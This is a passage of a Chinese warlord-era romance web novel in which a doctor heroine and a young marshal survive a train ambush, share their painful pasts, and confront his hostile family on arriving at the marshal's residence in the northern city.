“我不走。”
沈晚清打断了他,她熟练地拉动**,眼神坚毅地站在了他身边。
“我是你的战友。刚才那把手术刀没偏,这把枪也不会偏。”
她看着陆淮锦,嘴角勾起一抹与他如出一辙的傲然冷笑:
“陆淮锦,别小看我。今晚,咱们就一起杀出去。”
陆淮锦看着她。
在这个生死攸关的时刻,他眼底的欣赏与爱意燃烧到了极致。
“好。”
他低头,重重地在她额头上亲了一口。
“那就杀出去。”
“让他们知道,惹了这我们,是什么下场。”
轰——!
包厢门再次被猛烈撞击。
“准备!”
陆淮锦举起枪。
沈晚清举起枪。
两人的背影在昏黄的灯光下重叠,宛如一体。
这场列车上的血腥猎杀,才刚刚开始。
第32章 并肩作战
“轰——!”
随着陆淮锦一脚踹开包厢残破的门板,外面的**瞬间如同爆豆般密集起来。
“哒哒哒哒——”
几发**的**擦着门框飞过,在红木饰面上留下成排的弹孔,木屑激飞,打在脸上生疼。
“低头!”
陆淮锦大喝一声,一只手按住沈晚清的后脑勺,将她护在怀里,另一只手**,借着门框的掩护,向走廊尽头探出半个身位。
“砰!砰!”
两声点射。
走廊尽头,一名正如狼似虎端着**扫射的刺客应声而倒。陆淮锦的枪法极准,即便是在高速行驶、不断晃动的列车上,也依然例无虚发。
“走!”
趁着火力的空档,陆淮锦拉着沈晚清冲出了包厢。
狭长的走廊此刻变成了生死的修罗场。头顶的水晶灯被打碎了大半,忽明忽暗的灯光让晃动的人影变得更加狰狞。
刺客们显然是有备而来,他们占据了车厢连接处的有利地形,且配备了火力压制极强的**。而陆淮锦这边,虽然枪法如神,但手中的勃朗宁毕竟弹容量有限。
“咔哒。”
空仓挂机的声音在嘈杂的枪战中显得格外刺耳。
没**了!
对面的刺客显然听到了这个声音,狞笑着就要冲上来补枪:“他没**了!上!杀了他赏金翻倍!”
陆淮锦眉头紧锁,正要伸手去摸备用**。
然而,一只白皙却沾染了些许硝烟灰尘的手,比他更快地伸了过来。
手里,正是一个压满了**的**。
“给。”
沈晚清紧贴在他身后的死角里,声音冷静得听不出一丝颤抖。
陆淮锦微微一怔,迅速接过**,“咔嚓”一声推入枪膛,反手就是两枪,将冲上来的刺客逼退。
“你怎么会有?”他一边射击一边问。
“刚才在包厢里,从那个**身上摸的。”沈晚清一边说着,一边熟练地捡起地上另一把掉落的驳壳枪,检查保险,动作利落得不像个拿手术刀的大夫,倒像个久经沙场的战士,“这种德国造的二十响,和你的枪**通用。”
陆淮锦回头看了她一眼。
火光映照下,她的旗袍下摆被撕开了一道口子,脸上沾着一点黑灰,但那双眼睛却亮得惊人。她没有像普通女人那样尖叫、发抖或者拖后腿,而是像一块坚硬的盾牌,稳稳地护住了他的后背。
“好样的,陆大夫。”
陆淮锦嘴角勾起一抹嗜血的笑意,“那就让他们见识见识,咱们搭档的厉害。”
“掩护我!”
陆淮锦一个侧滚翻,利用走廊两侧的真皮沙发作为掩体,向着敌人快速推进。
沈晚清并没有盲目跟进。她躲在转角处,双手握枪,瞄准那些试图从侧面包抄陆淮锦的黑影。
“砰!”
她开出了重生后的第一枪。
虽然准头不如陆淮锦那么神,但足以让那个试图偷袭的刺客身形一滞,捂着肩膀惨叫倒地。
“干得漂亮!”陆淮锦大笑一声,趁机起身,又是连开数枪,瞬间清扫了前方的障碍。
两人配合得天衣无缝。一个主攻,一个补位;一个冲锋,一个装弹。
在这狭窄、晃动、充满了死亡气息的钢铁巨兽腹中,他们就像是两把相互咬合的齿轮,将挡在面前的敌人一个个绞碎。
然而,就在他们即将推进到车厢连接处时。
“小心**!”
一名杀红了眼的刺客,竟然拉开了一枚**的引信,疯狂地向着两人扔了过来。
在这样封闭的空间里,一颗**足以让所有人同归于尽。
“趴下!”
陆淮锦想都没想,猛地转身,用自己宽阔的背脊将沈晚清死死压在身下。
“轰——!!!”
剧烈的**声震耳欲聋,气浪夹杂着弹片和木屑横扫而过。
整个车厢都在颤抖,玻璃全碎,冷风呼啸灌入。
沈晚清被压在陆淮锦身下,只觉得五脏六腑都被震得移了位,耳朵里嗡嗡作响。
“陆淮锦!”
她猛地推开身上的男人,声音里带着从未有过的惊恐。
陆淮锦闷哼一声,缓缓撑起身体。
他的后背,那件昂贵的军大衣已经被炸得破烂不堪,几块弹片划破了布料,深深嵌入了肉里,鲜血瞬间染红了衣裳。
“没事……死不了……”
陆淮锦咬着牙,甩了甩头上的灰,眼神依旧凶狠,“宋副官这帮人是死绝了吗?怎么还没冲进来?”
话音刚落。
“砰!砰!砰!”
车厢连接处的铁门终于被炸开。
宋副官带着大批卫兵,像一群愤怒的公牛般冲了进来。<
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br>“少帅!属下来迟!”
看着满地狼藉和受伤的少帅,宋副官眼睛都红了,端着**对着剩下的几个残兵就是一通扫射,“一个不留!杀!”
局势瞬间逆转。
在卫队的强大火力下,剩余的刺客很快被肃清。
“少帅!您受伤了!”宋副官冲过来想要搀扶。
“别碰我。”
陆淮锦推开他,转身看向沈晚清,“有没有伤着?”
沈晚清摇摇头。她顾不上自己耳鸣的难受,一把拉过陆淮锦,借着走廊里残存的灯光检查他的后背。
虽然避开了要害,但有两块弹片扎得挺深,还在流血。
“坐下。”沈晚清命令道。
“这点小伤不碍事……”陆淮锦刚想逞强。
“我让你坐下!”
沈晚清厉声喝道,眼圈有些发红。她迅速打开随身携带的急救包,拿出止血钳和纱布。
“宋副官,警戒!没我的允许,谁也不许过来!”
“是!”
在满地尸体和硝烟弥漫的走廊尽头,沈晚清半跪在地上,动作麻利地剪开陆淮锦背后的衣服。
没有麻药。
“忍着点。”
她用镊子探入伤口,快准狠地夹出了那块带血的弹片。
“叮。”弹片落在铁盘里。
陆淮锦的肌肉猛地绷紧,冷汗顺着鬓角流下,但他一声没吭,只是回过头,看着正在全神贯注给他处理伤口的女人。
她的手上有血,脸上也是,看起来有些狼狈。
但在陆淮锦眼里,此刻的她,比任何时候都要美。
美得惊心动魄,美得让他想要把命都交给她。
“沈晚清。”
他突然开口,声音有些虚弱,却带着笑意。
“嗯?”沈晚清正在撒磺胺粉。
“刚才你开枪的样子……真**好看。”
沈晚清手一顿,没好气地白了他一眼,手上的力道却轻柔了几分。
“闭嘴。再废话,我就把你的嘴缝上。”
陆淮锦低低地笑了起来,任由她摆弄。
包扎完毕。
沈晚清扶着他站起来。两人相视一眼,都在彼此眼中看到了劫后余生的庆幸,和那种只有共同经历过生死才能产生的深厚羁绊。
“走吧。”
陆淮锦握住满是血污的手,“这里太脏了。我们换个地方。”
第33章 他的过去
凌晨四点,**终于彻底停歇了。
空气中弥漫的硝烟味和血腥气虽然还没有完全散去,但随着窗户破洞被临时封堵,车厢内的温度终于回升了一些。
宋副官带人将尸体全部拖到了后面的货车厢,又让人送来了干净的热水和新的被褥。
“少帅,这节车厢已经清理干净了,但这玻璃破了,风大。要不您去二号车厢将就一下?”宋副官在门口小心翼翼地问道。
陆淮锦赤裸着上身,腰背上缠着渗血的新纱布,正靠在残存的半张沙发上闭目养神。
“不必。”
他并没有睁眼,声音透着一股深沉的疲惫,“二号车厢太挤。就在这儿。”
“是。”宋副官不敢多言,留下几盏备用的马灯,带着人退守到了连接处。
车厢里重新恢复了死一般的寂静,只有列车车轮撞击铁轨的单调声响,在旷野中回荡。
沈晚清洗净了手上的血污,换了一件干净的披肩。她端着一杯热好的白兰地,走到陆淮锦身边坐下。
“喝点吧,暖暖身子。”
陆淮锦睁开眼,接过酒杯,却没有喝。他看着杯中晃动的琥珀色液体,眼神空洞而幽深,仿佛透过这杯酒,看到了很久很久以前的某个画面。
“晚晚。”
他突然开口,声音有些飘忽,“你知道我为什么讨厌坐火车吗?”
沈晚清一愣。之前在车上,他说是因为“太吵”导致头疼,但作为医生,她能感觉到那不仅仅是生理上的不适,更像是一种深层的心理排斥。
“为什么?”她轻声问,顺手将一块毛毯盖在他腿上。
陆淮锦仰头,将杯中烈酒一饮而尽。辛辣的液体滑过喉咙,像是火烧一般,却也让他冰冷的身体有了一丝知觉。
“因为这晃动的声音,像极了那个晚上。”
他放下酒杯,身体微微后仰,目光落在虚空中的某一点。
“那年我八岁。也是这样一列火车,也是这样的雨夜。我母亲带着我,从北平回奉天省亲。”
沈晚清安静地听着。她知道,这对于那个总是不可一世的陆少帅来说,是绝对的禁区。前世关于陆淮锦母亲的死,众说纷纭,有人说是病死,有人说是意外,却没人知道真相。
“那时候,我父亲已经是雄霸一方的督军了。但他风流成性,后院里养了一群姨太太。”
陆淮锦的嘴角勾起一抹嘲讽的弧度,“我母亲是正室,性子温婉,从不争抢。她以为只要安分守己,就能保我和她平安。可是她错了。”
“那个最受宠的五姨太,早就盯上了正室的位置,更盯上了我这个嫡长子的命。”
说到这里,陆淮锦的手指猛地收紧,指节泛白。
“那天晚上,火车行进到半路。那个五姨太买通了列车员,在我母亲的安神汤里下了毒——是**,但分量控制得很精妙,不会让人立时毙命,只会让人腹痛如绞,像是急症。”
“我母亲疼得在床上打滚,冷汗湿透了衣衫。我吓坏了,哭着跑去隔壁车厢求随行的军医。可是……”
陆淮锦闭上了眼睛,眼角微微颤抖,“那个军医早就被买通了。他看了一眼,只说是‘吃坏了肚子’,给了一包止痛粉就走了。而那包止痛粉里,混着更烈性的**。”
“我就那样守在床边,听着火车的‘哐当’声,看着我母亲七窍流血,一点点咽气。”
“临死前,她死死抓着我的手,指甲把我的手背都掐出了血。她想说话,却发不出声音,只能瞪大眼睛看着我……那种眼神,绝望、不甘、还有恐惧——她怕她**,我也活不成。”
车厢里一片死寂。
只有窗外的风声,像是那个雨夜里冤魂的呜咽。
沈晚清的心像是被什么东西狠狠揪住。
八岁的孩子,在封闭摇晃的列车里,眼睁睁看着最亲的人在面前惨死,求救无门。那种绝望和恐惧,足以摧毁一个人的灵魂。
怪不得他会有严重的战后应激,怪不得他会失眠,怪不得他对“姨太太”这种生物有着近乎病态的厌恶。
“后来呢?”沈晚清伸出手,轻轻握住了他冰凉的大手。
“后来?”
陆淮锦睁开眼,眼底的脆弱瞬间被一层嗜血的寒冰覆盖。
“我一直守着她的尸体到了奉天。见到我父亲的那一刻,我也没有告状,因为我知道,没有证据,那个女人随便哭两声就能脱罪。”
“我忍了整整十年。”
“十八岁那年,我进了讲武堂,拿到了属于我自己的第一把枪。那天也是我父亲的六十大寿。”
陆淮锦的声音变得轻描淡写,却让人毛骨悚然,“在寿宴上,我当着全城宾客的面,拔枪打爆了那个五姨太的头。还有那个当年的军医,被我剁碎了喂了狼。”
“我父亲气疯了,拿枪指着我,要毙了我。”
“但我告诉他:‘你可以杀了我。但从今天起,这北六省的兵,只认我的枪,不认你的令。’因为那十年里,我已经把他的兵权架空了一半。”
陆淮锦转过头,看着沈晚清。
此时的他,不再是那个高高在上的少帅,而是一个满身伤痕、在黑暗中独自舔舐伤口的野兽。
“晚晚。”
他反握住她的手,力道大得有些生疼,“我是个从地狱里爬出来的恶鬼。我的手上沾满了血,甚至是亲人的血。这样的我……你会怕吗?”
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>沈晚清看着他深邃眼眸深处那一丝不易察觉的忐忑。
这个在战场上**不眨眼的男人,竟然在怕她嫌弃他的过去,怕她觉得他冷血。
“陆淮锦。”
沈晚清并没有直接回答。
她缓缓倾身,伸出双臂,将他宽阔却颤抖的肩膀抱入怀中。她的下巴抵在他的发顶,像是在安抚一个受惊的孩子。
“我不怕恶鬼。”
她的声音温柔而坚定,“因为我也是从地狱里爬回来的人。”
“我也曾被人下毒,被人背叛,被人关在暗无天日的角落里等死。那种绝望,我懂。”
“正因为见过地狱的火,所以才更懂得珍惜人间的暖。”
沈晚清捧起他的脸,在他微凉的唇上落下轻轻一吻。
“那十年,你一个人走得很辛苦吧?”
这一句话,瞬间击溃了陆淮锦所有的防线。
这个铁打的汉子,这个流血不流泪的少帅,在这一刻,把头深深埋进了她的颈窝。
沈晚清感觉到了颈间传来的一点湿热。
那是他的泪。
“以后,你不必一个人走了。”
沈晚清轻轻拍着他的背,“不管是那个**的帅府,还是这乱世的战场。我陪你。”
陆淮锦紧紧抱着她,仿佛抱着他在这个世上唯一的救赎。
药香萦绕,驱散了血腥与梦魇。
在这列疾驰的列车上,在这个黎明将至的时刻,两颗千疮百孔的心,终于真正地融合在了一起。
……
不知过了多久。
东方的地平线上,泛起了一抹鱼肚白。
晨光穿透了破碎的车窗,洒在两人身上。
“少帅!沈小姐!”
门外传来了宋副官兴奋的声音,“看到城墙了!前面就是北城!”
陆淮锦抬起头,眼中的脆弱早已消失不见,取而代之的是更加坚定的锋芒。
他站起身,走到窗前。
远处的地平线上,一座巍峨古老的城池轮廓若隐若现。厚重的城墙,连绵的角楼,在晨雾中透着一股肃杀的皇城之气。
那里是北城。
是陆家的权力中心,也是真正的虎狼窝。
那里有想置他于死地的敌对势力,有心怀鬼胎的继母,还有那个对他既忌惮又依赖的大帅父亲。
“准备好了吗?”
陆淮锦转过身,向沈晚清伸出了手。
沈晚清走到他身边,与他并肩而立,看着那座即将成为她新战场的城市。
“当然。”
她握住他的手,嘴角勾起一抹自信的笑:
“我的手术刀,早就磨好了。”
随着一声嘹亮的汽笛声,蓝钢快车冲破晨雾,驶向了那个风云变幻的北方。
第34章 抵达北城
清晨六点,随着一阵尖锐而漫长的汽笛声,巨大的蓝钢快车终于缓缓停靠在了站台边。
车门刚一打开,一股凛冽刺骨的寒风便裹挟着北方特有的干燥尘土味,呼啸着灌进了车厢。
沈晚清下意识地缩了缩脖子。
这里的冷,和海城那种湿冷的魔法攻击不同。北城的冷是物理攻击,像刀子一样直接刮在脸上,生疼。虽然已是初夏,但清晨的北地依然透着一股肃杀的寒意。
“别动。”
身后传来陆淮锦低沉的声音。
紧接着,一件带着体温的、沉甸甸的黑色狐裘大衣,兜头罩了下来,将她严严实实地裹在了里面。
那是陆淮锦的军用大氅,领口那一圈油光水滑的银狐**,簇拥着沈晚清巴掌大的小脸,衬得她愈发肤白胜雪,眉眼如画。
“北方的风硬,不比海城。”
陆淮锦走到她面前,修长的手指灵活地替她系好领口的系带,动作自然得仿佛做过千百遍,“要是吹病了,心疼的是我。”
沈晚清看着他。
他自己只穿了一件单薄的戎装,风纪扣扣得一丝不苟,显得肩宽腰窄,英武逼人。这点寒风对他这个在冰天雪地里摸爬滚打过的少帅来说,根本算不得什么。
“走吧,带你看看我的地盘。”
陆淮锦向她伸出手。
沈晚清深吸一口气,将戴着皮手套的手放入他的掌心。
两人并肩走下列车。
站台上,早已被清场。
在这个等级森严的北方军阀大本营,陆家的规矩比海城要大得多。
两排荷枪实弹的卫兵早已列队等候,见到陆淮锦的身影,数百双军靴同时并拢,发出一声整齐划一的巨响:
“恭迎少帅回城!!”
声震云霄,回音在空旷的车站穹顶下久久激荡。
这种排场,这种气势,是海城那些只会做生意的商会和流氓帮派无法比拟的。这里,是权力的中心,是枪杆子说话的地方。
陆淮锦面无表情,只是微微颔首。
但他牵着沈晚清的手,却始终没有松开。
他在众目睽睽之下,在数百名下属惊诧的目光中,牵着这个陌生的南方女子,一步步走过红地毯,走向那辆停在站台出口的黑色防弹轿车。
“那是谁?少帅竟然给她披大衣?”“没见过,看着像是南边来的……”“嘘!别乱看!少帅牵着的人,那就是未来的少帅夫人!”
卫兵们目不斜视,但心里的惊涛骇浪却怎么也压不住。铁树开花的少帅,这次是真的带回来一位女主子!
……
北城街头。
车队驶出车站,穿行在宽阔却略显萧条的街道上。
沈晚清透过车窗向外看去。
这里和灯红酒绿、充满了洋房与爵士乐的海城截然不同。
北城是一座充满了历史厚重感的城市。高耸的灰砖城墙,巍峨的角楼,笔直的胡同,还有那些即使在动荡年代依然透着一股子傲气的古老建筑。
但也正因为这份古老,这里显得更加压抑。
街上随处可见巡逻的士兵,路上的行**多行色匆匆,穿着灰蓝色的棉袍,脸上带着一种麻木的谨慎。
“不喜欢这里?”
陆淮锦察觉到了她的沉默,握着她的手紧了紧。
“谈不上不喜欢。”沈晚清收回目光,“只是觉得,这里比海城更像一座……笼子。”
“确实是笼子。”
陆淮锦并不否认,嘴角勾起一抹冷笑,“不过,我是那个拿钥匙的人。只要你在我身边,这笼子就困不住你。”
车队拐过几条大街,最终驶入了一条幽静而宽阔的街道。
这条街上没有商铺,只有两座巨大的石狮子守着一扇朱红色的铜钉
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大门。
门楣上悬挂着一块黑底金字的匾额——【陆帅府】。
这就是北方权力的巅峰,陆系军阀的大本营,也是陆淮锦从小长大的地方。
车刚停稳,门口的管家和仆人们便一拥而上。
“少帅!您可算回来了!”
一个穿着长衫、留着山羊胡的老管家迎了上来,脸上堆满了笑,但眼神却在看到陆淮锦身边的沈晚清时,微微凝滞了一下。
“福伯。”陆淮锦淡淡叫了一声。
“哎!少帅一路辛苦。”福伯弯着腰,眼神有些闪烁,“大帅和老夫人已经在正厅等着了。还有……表小姐也在。”
听到“表小姐”三个字,陆淮锦的眉头微不可察地皱了一下,眼底闪过一丝厌恶。
沈晚清敏锐地捕捉到了这个细节。
表小姐?
看来,这帅府深深,还没进门,戏就已经开场了。
“知道了。”
陆淮锦没有多说什么,他转过身,替沈晚清理了理被风吹乱的鬓角,声音温柔却足以让周围所有人都听见:
“别怕。进去之后,你就跟着我。谁要是敢给你脸色看,你就给我打回去。”
“出了事,我兜着。”
沈晚清看着眼前这座巍峨如同皇宫般的府邸,深吸了一口凛冽的空气。
她既然选择了跟他来,就已经做好了面对一切牛鬼蛇神的准备。
“放心。”
她挽住他的手臂,脊背挺得笔直,那双清冷的眸子里没有丝毫惧色:
“我沈晚清的手术刀,不仅能治病,也能……治人。”
“走吧,少帅。带我去见识见识,你的家。”
两人并肩踏上台阶,跨过了那道象征着北方最高门第的高高门槛。
身后,厚重的大门缓缓关闭,发出一声沉闷的声响。
北地风云,至此正式拉开帷幕。
第35章 帅府深深
穿过三道戒备森严的垂花门,绕过那一座足以乱真的太湖石假山,沈晚清终于站在了陆家权力的核心——“聚义堂”前。
这名字听着像是江湖帮派的堂口,实际上却是一座极尽奢华与威严的厅堂。楠木的柱子上盘着金龙,地上铺着厚厚的红丝绒地毯,正中间挂着一块御赐的“威镇北疆”牌匾,两侧则摆放着两排太师椅,每一把椅子后面都站着一名挎着盒子炮的亲兵。
气氛肃杀,静得连根针掉在地上都能听见。
“逆子!跪下!”
还没等两人站稳,一声中气十足的暴喝便在大厅里炸响,震得房梁上的灰尘都要抖落下来。
正座之上,坐着一个身穿明黄色马褂、手转两颗铁胆的老人。他虽然须发皆白,但满脸横肉,眼神凶狠如虎,正是这北六省名义上的最高统治者,陆大帅——陆宗林。
而在他身侧,坐着一位保养得宜、穿着暗红色旗袍的妇人。她手里捻着一串佛珠,眉眼低垂,看似慈眉善目,嘴角却挂着一抹似笑非笑的冷意。
这是陆府现在的女主人,大帅夫人赵氏。
陆淮锦并没有跪。
他牵着沈晚清的手,依旧站得笔直,甚至连脸上的表情都没有丝毫变化,只是淡淡地叫了一声:
“大帅。母亲。”
“你还知道我是你爹?!”
陆大帅气得把手里的铁胆重重拍在桌子上,“啪”的一声巨响,吓得周围的丫鬟哆嗦了一下。
“我不让你进京,你非要偷偷跑去海城!去了也就罢了,还给我带回来这么一个……一个……”
陆大帅那双如铜铃般的眼睛死死盯着沈晚清,目光中充满了挑剔与嫌弃,“这是哪家楼子里出来的?还是那个什么破医馆的郎中?陆淮锦,你是昏了头了吗?放着内阁总理的千金不要,带这种不清不白的女人回来,你是想气死我?!”
“不清不白?”
陆淮锦的眼神瞬间冷了下来,周身的温度仿佛降到了冰点,“大帅慎言。这是我的救命恩人,也是我认定的夫人。”
“放屁!”
陆大帅猛地站起来,拔出腰间的配枪,“砰”地一声拍在桌上,“老子还没死呢!这帅府还轮不到你做主!你要娶谁,得老子点头!这种女人,连给我陆家提鞋都不配!”
面对黑洞洞的枪口和这位曾在战场上**如麻的大帅,沈晚清并没有像普通女子那样吓得腿软尖叫。
她甚至没有躲在陆淮锦身后。
她松开陆淮锦的手,上前一步,微微欠身,行了一个不卑不亢的晚辈礼:
“沈晚清,见过陆大帅,见过大帅夫人。”
她的声音清亮平稳,在这剑拔**张的大厅里显得格外突兀,却又有一股奇异的镇定力量。
“大帅说我不配,不知是以什么标准来衡量的?”
沈晚清抬起头,直视着陆大帅那双要**的眼睛,“若是论家世,我确实不如总理千金。但若是论对少帅的助益……”
她顿了顿,嘴角勾起一抹自信的笑意:
“总理千金能给少帅挡**吗?能把少帅从鬼门关拉回来吗?能给陆家军提供源源不断的特效药吗?”
“你!”陆大帅被她这一连串的反问噎住了,瞪大了眼睛,“好个牙尖嘴利的丫头!这里哪有你说话的份!”
“大帅息怒。”
一直没说话的夫人赵氏突然开口了。她的声音柔柔弱弱的,像是一团棉花,却藏着针。
“这孩子虽然出身低了点,但既然救了淮锦,咱们陆家也不能知恩不报。”
赵氏放下佛珠,那双精明的眼睛上下打量着沈晚清,像是在评估一件货物的价值,“只是……淮锦啊,这正妻的位置,关系到咱们陆家和北六省的脸面。我看,不如先收做个姨太太,若是以后生了儿子,再……”
“母亲。”
陆淮锦打断了她的话,声音冷得像是从牙缝里挤出来的,“我记得我说过,我这辈子,不纳妾。”
赵氏的脸色僵了一下,随即叹了口气,一脸“我是为你好”的无奈:“你这孩子,怎么这么倔呢?我是怕你被外面的狐狸精迷了眼,坏了大事。”
“是不是狐狸精,不用您操心。”
陆淮锦重新握住沈晚清的手,十指紧扣,向所有人展示着他的决心,“我今天带她来,不是来征求你们同意的。是来通知一声。”
“从今天起,她住进我的‘听涛苑’。谁要是敢给她脸色看,或者在她背后嚼舌根……”
陆淮锦环视了一圈大厅里的众人,目光如刀,“那就别怪我陆淮锦翻脸不认人。哪怕是
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把这帅府的天掀了,我也在所不惜。”
“反了!反了!”
陆大帅气得浑身发抖,指着陆淮锦,“滚!都给我滚出去!”
“正如我意。”
陆淮锦冷笑一声,拉着沈晚清转身就走,连头都没回。
走出正厅,外面的阳光依旧刺眼。
沈晚清回头看了一眼那座深不见底的厅堂。
她看得出来,那个陆大帅虽然暴躁,但那是明面上的火,好对付。
真正让她感到不安的,是那个一直捻着佛珠、看似慈祥的大帅夫人。
刚才在厅上,沈晚清凭借医生的职业本能,敏锐地发现赵氏的脸色虽然红润,但指甲盖上却有一层淡淡的白线,而且她说话时偶尔会不自觉地按压腹部。
那不是健康的红润,更像是……某种慢性**的征兆?
又或者是,她在服用什么特殊的药物?
“在想什么?”陆淮锦见她发呆,捏了捏她的手心。
“在想那位大帅夫人。”沈晚清收回思绪,压低声音,“她……真的是你继母?”
“嗯。”
陆淮锦眼中闪过一丝厌恶,“当年那个害死我母亲的五姨太被我杀了之后,父亲为了平衡各方势力,又娶了这一位。她是赵督军的妹妹,手段比那个五姨太高明一百倍。这帅府里的一半眼线,都是她的人。”
“看来,这帅府的水,比我想象的还要深。”沈晚清若有所思。
“怕了?”
“怕?”沈晚清轻笑一声,眼中闪烁着兴奋的光芒,“水越深,说明底下藏的大鱼越大。少帅,我可是个‘钓鱼’高手。”
两人正说着话,迎面走来一个穿着鹅黄色洋装、烫着卷发的年轻女子。她身后跟着两个丫鬟,手里端着托盘,上面放着几碗精致的燕窝粥。
那女子长得极美,是一种楚楚可怜、让人一看就想保护的柔弱美。
她看到陆淮锦,眼睛瞬间亮了,像是看到了救世主一般,快步迎了上来,声音娇滴滴的,仿佛能掐出水来:
“表哥!你终于回来了!婉儿等你好久了……”
陆淮锦的脚步猛地一顿,眉头瞬间皱成了川字。
沈晚清挑眉。
来了。
这还没到听涛苑呢,第一只“拦路虎”就迫不及待地跳出来了?
第36章 表妹林婉
穿堂风卷着几片落叶,打着旋儿飞过。
林婉那一声娇呼,千回百转,仿佛包含了无尽的思念。她无视了站在陆淮锦身侧的沈晚清,径直走到陆淮锦面前,仰起头,眼圈微微泛红:
“你这一走就是大半年,也不给家里来封信。姑妈整日念叨,我也……我也担心的吃不下饭。这不,听说你回来了,我特意去厨房盯着火候熬了这燕窝,你快趁热喝一口,润润肺。”
说着,她举起托盘,那双保养得极好的手微微颤抖,似是激动,又似是柔弱得端不住东西。
陆淮锦停下脚步,并没有伸手去接。
他垂眸看着这个从小在帅府长大的表妹,眼中没有半点温情,只有不耐烦的冷漠。
“我不吃甜的。”他冷冷道,“让开。”
林婉的笑容僵了一下,但很快又恢复了那副楚楚可怜的模样。她似乎这才“注意”到旁边的沈晚清,故作惊讶地掩住嘴:
“哎呀,表哥,这位就是……那个跟你回来的沈大夫吧?”
她上下打量着沈晚清。
虽然沈晚清此刻披着陆淮锦的军大衣,但这依然掩盖不住她里面那身素净的旗袍和略显疲惫的风尘仆仆。在林婉那身精致昂贵的洋装对比下,确实显得有些“寒酸”。
“沈小姐好。”
林婉并没有行礼,而是微微挺直了腰杆,摆出了一副半个女主人的姿态,语气里带着一种高高在上的优越感,“这一路火车颠簸,真是辛苦你了。咱们北城不比南方,风沙大,沈小姐这细皮嫩肉的,怕是受不住吧?”
“多谢林小姐关心。”沈晚清神色淡淡,并不接招。
林婉眼珠一转,把手里的托盘往沈晚清面前一递:
“正好,既然表哥不喝,那就赏给沈小姐吧。这血燕可是南洋进贡的极品,最是滋补。沈小姐整日抛头露面的,肯定没吃过,快尝尝。”
这话听着客气,实则字字带刺。
一是把沈晚清当成了下人;二是讽刺她出身低微;三是暗指她“抛头露面”不正经。
这是典型的“下马威”。
若是普通女子,此刻接也不是,不接也不是。接了就是承认自己低人一等,不接就是不知好歹。
陆淮锦的脸色瞬间沉了下来,刚要发作。
沈晚清却按住了他的手。
她看着面前那盅价值不菲的血燕,不仅没有生气,反而露出了一种……外科医生看病灶般的专业眼神。
“林小姐。”
沈晚清并没有接托盘,而是凑近了一些,鼻翼微微翕动,似乎在闻什么味道。
“怎么了?”林婉被她看得有些发毛,下意识地后退了半步,“沈小姐是嫌弃?”
“不,我是为了林小姐的身体着想。”
沈晚清站直身体,双手插在大衣口袋里,声音清冷而笃定:
“林小姐刚才说,担心少帅担心得吃不下饭?”
“是……是啊。”林婉拿着帕子按了按眼角,“我都瘦了好几斤了。”
“这就奇怪了。”
沈晚清嘴角勾起一抹似笑非笑的弧度,“我看林小姐面色红润,印堂发亮,且舌苔厚腻,这分明是‘积食’和‘内热’的症状。也就是说……最近大鱼大肉吃多了,还没消化。”
“噗——”
站在后面的宋副官没忍住,笑出了声,赶紧假装咳嗽掩饰。
林婉的脸瞬间涨成了猪肝色:“你……你胡说!我明明……”
“还有。”
沈晚清并没有打算放过她,目光落在林婉那厚厚的粉底遮盖不住的下巴上,“林小姐下巴上冒了几颗痘,虽然用粉遮了,但还是能看出来。这是典型的内分泌失调,心火过旺。”
她指了指那碗血燕:“这种时候再吃大补的血燕,无异于火上浇油。林小姐如果不想明天烂脸,这燕窝,还是倒了吧。”
“你!你竟敢咒我烂脸?!”
林婉气得浑身发抖,那一层伪装的温柔终于挂不住了,“我好心好意给你吃,你竟然这么不识抬举!你以为你是谁?不过是个随军的野郎中!”
“她是未来的少帅夫人。”
一直沉默的陆淮锦突然开口。
声音不大,却带着一股令人胆寒的威压。
他一步跨出,挡在沈晚清面前,居高临下地俯视着林婉,那眼神冷得像是在看一个**。
“林婉,看来这几年在帅府,你的规矩都学到狗肚子里去了。”
“表……表哥……”林婉吓得手一抖,托盘“咣当”一声掉在地上,燕窝洒了一地,溅在她的洋装裙摆上,狼狈不堪。
“记住。”
陆淮锦指着地上的残渣,一字一顿地说道,“沈晚清是这帅府未来的女主人。你若是再敢在她面前摆谱,或者
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阴阳怪气……”
“我就让人把你扔回老家去,这辈子都别想再踏进北城一步。”
林婉的脸色瞬间惨白如纸。
她怎么也没想到,表哥竟然为了一个外来的女人,丝毫不顾及多年的情分,甚至还要赶她走!
“我……我知道错了……”林婉眼泪刷地流了下来,这次是真的吓哭了。
“滚。”
陆淮锦厌恶地吐出一个字。
林婉哪里还敢停留,捂着脸哭着跑了,连地上的狼藉都不敢收拾。
看着她落荒而逃的背影,沈晚清轻轻摇了摇头。
“段位太低。”
她评价道,“比起我那个继妹沈雨柔,这位林小姐的茶艺,也就是入门级。”
“那是自然。”
陆淮锦转过身,替她拉了拉大衣的领口,眼底的寒冰融化,变成了宠溺,“少帅夫人是拿手术刀的,专治各种疑难杂症。区区绿茶,怎么是你的对手?”
“不过……”
沈晚清看着地上的燕窝,眉头微皱,“刚才我诈她的时候,发现了一个问题。”
“什么问题?”
“她身上的香味。”沈晚清若有所思,“那是一种很特殊的熏香味道,虽然被香水盖住了,但我还是闻出来了。那是‘曼陀罗’混杂着‘朱砂’的味道。”
陆淮锦脸色微变:“曼陀罗?”
“这东西有致幻和安神的作用,但长期使用会慢性**。”沈晚清的职业敏感度让她察觉到了不对劲,“她刚才说是从大帅夫人那里过来的。如果这种香是大帅夫人房里常用的……”
她想起刚才在大厅里,看到的那个捻着佛珠、指甲上有白纹的大帅夫人赵氏。
“少帅,看来你这位继母的身体,比我想象的还要‘有趣’。”
沈晚清眼中闪过一丝精光,“也许,这就是我们在帅府站稳脚跟的突破口。”
陆淮锦看着她,嘴角勾起一抹赞赏的笑。
他就知道,他选的女人,绝不是只会躲在男人背后的花瓶。
“那就查。”
陆淮锦牵起她的手,跨过地上的碎片,“走,回听涛苑。今晚,咱们好好研究一下这个‘突破口’。”
风卷起地上的落叶。
这一场初次交锋,以林婉的完败和沈晚清的敏锐发现告终。
但帅府深处的阴谋,才刚刚露出冰山一角。
第37章 中医请脉
翌日清晨,听涛苑。
北城的阳光虽然明媚,却带着一股透骨的寒意。
陆淮锦虽然回了帅府,但并没有去军部点卯。他正坐在餐桌前,看着沈晚清慢条斯理地喝着小米粥。经过一夜的休整,她的脸色红润了不少,那股子清冷的气质在晨光中柔和了几分。
“吃完饭,带你去军械库看看。”
陆淮锦剥好一个鸡蛋,放进她碗里,语气随意得像是在说带她去逛花园,“那里有刚到的德国新货,你既然喜欢玩枪,正好挑两把顺手的。”
沈晚清刚要点头。
“少帅!不好了!”
院门外传来一阵急促的脚步声和哭喊声。
